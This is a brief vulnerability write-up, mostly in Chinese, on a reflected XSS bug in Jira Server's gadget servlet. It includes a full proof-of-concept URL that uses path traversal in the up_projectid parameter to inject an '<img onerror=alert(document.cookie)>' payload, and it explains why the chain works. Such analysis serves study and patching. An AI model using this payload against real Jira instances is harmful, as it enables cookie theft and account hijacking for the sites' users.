来源:https://jira.atlassian.com/browse/JRASERVER-69245
PoC:
http://cqq.com:8091/plugins/servlet/gadgets/ifr?url=http://cqq.com:8091/rest/gadgets/1.0/g/com.atlassian.jira.gadgets:labels-gadget/gadgets/labels-gadget.xml&up_projectid=../../../../../rest/gadget/1.0/issueTable/jql%3fjql=issuekey%253e1%2520OR%2520issuekey%2521=%2522%253cimg%2520src=x%2520onerror=alert(document.cookie)%253e%2522%26&up_isConfigured=true
首先,这个ifr这个gadget的功能就是跟上一个url参数,然后载入这个url页面:
http://cqq.com:8091/plugins/servlet/gadgets/ifr?url=
然后
http://cqq.com:8091/rest/gadget/1.0/issueTable/jql?jql=issuekey%3E1%20OR%20issuekey%21=%22%3Cimg%20src=x%20onerror=alert(document.cookie)%3E%22
issueTable这个gadget会反射用户的输入,由于响应的Content-Type为application/json
,不能直接利用。
然后,
http://cqq.com:8091/rest/gadgets/1.0/g/com.atlassian.jira.gadgets:labels-gadget/gadgets/labels-gadget.xml
可以直接访问,而且其中有一段:
We can actually control the this.getPref("projectid")
since the ifr
-gadget allows you to provide parameters called up_X
where X could be projectid
and this.getPref("projectid")
would then return that information.